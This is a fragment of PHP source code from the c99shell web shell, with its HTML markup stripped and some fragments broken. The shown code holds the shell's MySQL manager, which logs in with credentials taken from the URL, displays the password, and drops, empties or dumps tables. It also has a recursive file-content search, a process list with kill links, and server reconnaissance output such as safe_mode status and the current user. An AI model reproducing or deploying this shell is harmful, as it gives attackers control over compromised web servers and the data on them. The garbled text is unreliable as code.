$functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo ""; if ($tbl_struct) { echo "

"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":

"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
";} echo "

"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return false;} } } if (!function_exists("c99fsearch")) { function c99fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== false) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c99fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} //Sending headers @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start("ob_gzHandler"); echo $v; @ob_end_flush(); } } function c99shexit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); if (empty($tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "ON (secure)"; } else {$safemode = false; $hsafemode = "OFF (not secure)";} $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",$highlight_bg); //FFFFFF @ini_set("highlight.comment",$highlight_comment); //#FF8000 @ini_set("highlight.default",$highlight_default); //#0000BB @ini_set("highlight.html",$highlight_html); //#000000 @ini_set("highlight.keyword",$highlight_keyword); //#007700 @ini_set("highlight.string",$highlight_string); //#DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); ?><?php echo getenv("HTTP_HOST"); ?> - c99shell

!C99Shell v. !


uname -a: ",1); ?> 

",1);} else {echo get_current_user();} ?> 


".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; $i++; } echo "   "; if (is_writable($d)) { $wd = true; $wdt = "[ ok ]"; echo "".view_perms(fileperms($d)).""; } else { $wd = false; $wdt = "[ Read-Only ]"; echo "".view_perms_color($d).""; } if (is_callable("disk_free_space")) { $free = disk_free_space($d); $total = disk_total_space($d); if ($free === false) {$free = 0;} if ($total === false) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2); echo "
Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; } echo "
"; $letters = ""; if ($win) { $v = explode("\\",$d); $v = $v[0]; foreach (range("a","z") as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= "[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "".$letter."";} $letters .= " ] "; } } if (!empty($letters)) {echo "Detected drives: ".$letters."
";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "".$item[0]."    "; } } echo "

"; if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "


";} echo ""; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} $line[] = "KILL"; $prcs[] = $line; echo ""; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $ret = convert_cyr_string($ret,"d","w"); $stack = explode("\n",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $head = explode(" ",$stack[0]); $head[1] = explode(" ",$head[1]); $head[1] = $head[1][0]; $stack = array_slice($stack,1); unset($head[2]); $head = array_values($head); if ($parsesort[1] != "a") {$y = "";} else {$y = "";} if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i".trim($head[$i])."";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo ""; $line = explode(" ",$line); $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); $line[2] = intval(str_replace(" ","",$line[2]))*1024; $prcs[] = $line; echo ""; } } } $head[$k] = "".$head[$k]."".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo "

"; if ($act == "") {$act = $dspact = "ls";} if ($act == "sql") { $sql_surl = $surl."act=sql"; if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} $sql_surl .= "&"; ?>

Attention! SQL-Manager is NOT ready module! Don't reports bugs.

"; if (!$sql_sock) {?>"; } echo "
SQL Manager:
"; if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";} else {echo "Can't connect"; echo "".$err."";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo ""; } echo "
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  •  Please, fill the form:
    Username Password  Database 
    Host PORT
    ".htmlspecialchars($sql_db)." ]---
    "; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} if (!$c) {echo "No tables found in database.";} } } else { ?>

    Please, select database
    "; //Start center panel $diplay = true; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
    "; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo "
    "; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "

    ";} } if (in_array($sql_act,$acts)) { ?>
    Create new table:
    Dump DB:
    ";} if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = false; echo "

    "; echo "DB: 

    "; $v = join (";",$dmptbls); echo "Only tables (explode \";\") 1: 

    "; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File: